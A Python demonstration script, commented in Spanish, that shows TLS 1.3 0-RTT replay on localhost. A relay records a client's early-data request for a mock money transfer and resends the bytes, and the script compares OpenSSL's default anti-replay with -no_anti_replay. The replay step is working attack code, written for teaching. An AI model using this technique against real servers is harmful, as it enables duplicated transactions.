#!/usr/bin/env python3
"""El riesgo de 0-RTT con TLS 1.3 real: alguien graba el primer vuelo y lo manda otra vez.

Un cliente reanuda una sesión con openssl s_client y manda una petición como early data. Pasa
por un relay que guarda lo que ve, sin poder leerlo. Después el relay envía esos mismos bytes
al servidor en otra conexión. Se cuenta cuántas veces el servidor procesó la petición:

  con la protección de OpenSSL (por defecto), una; con -no_anti_replay, dos.

Uso: zero_rtt.py <carpeta con good.crt y good.key>
"""
import os
import socket
import subprocess
import sys
import tempfile
import threading
import time

REQUEST = b"POST /transferir?monto=100 HTTP/1.0\r\n\r\n"
MARK = b"POST /transferir"


def free_port():
    with socket.socket() as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


def relay(listener, target, recorded, seconds):
    """Pasa bytes en los dos sentidos y guarda lo que manda el cliente."""
    client, _ = listener.accept()
    server = socket.create_connection(("127.0.0.1", target))
    client.settimeout(0.2)
    server.settimeout(0.2)
    deadline = time.monotonic() + seconds
    try:
        while time.monotonic() < deadline:
            for source, sink, keep in ((client, server, True), (server, client, False)):
                try:
                    data = source.recv(65536)
                except socket.timeout:
                    continue
                if data:
                    if keep:
                        recorded.append(data)
                    sink.sendall(data)
    except OSError:
        pass
    finally:
        client.close()
        server.close()


def trial(pki, flags):
    """Devuelve (lo que el cliente oyó del early data, veces antes de repetir, veces después)."""
    port, relay_port = free_port(), free_port()
    with tempfile.TemporaryDirectory() as tmp:
        session = os.path.join(tmp, "session.pem")
        early = os.path.join(tmp, "early.txt")
        log_path = os.path.join(tmp, "server.log")
        with open(early, "wb") as file:
            file.write(REQUEST)
        with open(log_path, "wb") as log:
            # Sin -www: el modo de eco de s_server es el que lee early data.
            server = subprocess.Popen(
                ["openssl", "s_server", "-accept", str(port), "-tls1_3", "-early_data",
                 "-cert", os.path.join(pki, "good.crt"), "-key", os.path.join(pki, "good.key"), *flags],
                stdin=subprocess.PIPE, stdout=log, stderr=log)
            try:
                # s_server atiende de a uno: probar el puerto contaría como cliente. Se espera.
                time.sleep(0.5)
                if server.poll() is not None:
                    raise RuntimeError(f"s_server terminó (puerto {port})")
                return run_clients(port, relay_port, session, early, log_path)
            finally:
                server.kill()
                server.wait()


def run_clients(port, relay_port, session, early, log_path):
    # Primera visita: solo sirve para recibir el ticket. Se cierra bien, o el ticket se invalida.
    first = subprocess.Popen(
        ["openssl", "s_client", "-connect", f"127.0.0.1:{port}", "-tls1_3", "-sess_out", session],
        stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    time.sleep(0.8)
    first.stdin.write(b"Q\n")
    first.stdin.close()
    first.wait(timeout=5)
    time.sleep(0.2)

    listener = socket.create_server(("127.0.0.1", relay_port))
    listener.settimeout(5)
    recorded = []
    middle = threading.Thread(target=relay, args=(listener, port, recorded, 1.5))
    middle.start()
    client = subprocess.Popen(
        ["openssl", "s_client", "-connect", f"127.0.0.1:{relay_port}", "-tls1_3", "-sess_in", session,
         "-early_data", early],
        stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
    time.sleep(1.2)
    client.kill()
    output = client.communicate()[0]
    middle.join()
    listener.close()
    heard = [line for line in output.splitlines() if "Early data" in line]
    time.sleep(0.3)
    before = open(log_path, "rb").read().count(MARK)

    # La repetición: los mismos bytes, en otra conexión, sin saber ninguna clave.
    with socket.create_connection(("127.0.0.1", port)) as attacker:
        attacker.sendall(recorded[0])
        time.sleep(0.7)
    time.sleep(0.3)
    after = open(log_path, "rb").read().count(MARK)
    return (heard[0] if heard else "sin respuesta sobre early data"), before, after


def main():
    pki = sys.argv[1] if len(sys.argv) > 1 else "build/pki"
    for title, flags in (("protección por defecto", []), ("-no_anti_replay", ["-no_anti_replay"])):
        heard, before, after = trial(pki, flags)
        print(f"== {title}")
        print(f"cliente legítimo: {heard}")
        print(f"veces que el servidor procesó la petición: {before} antes de repetir, {after} después")


if __name__ == "__main__":
    main()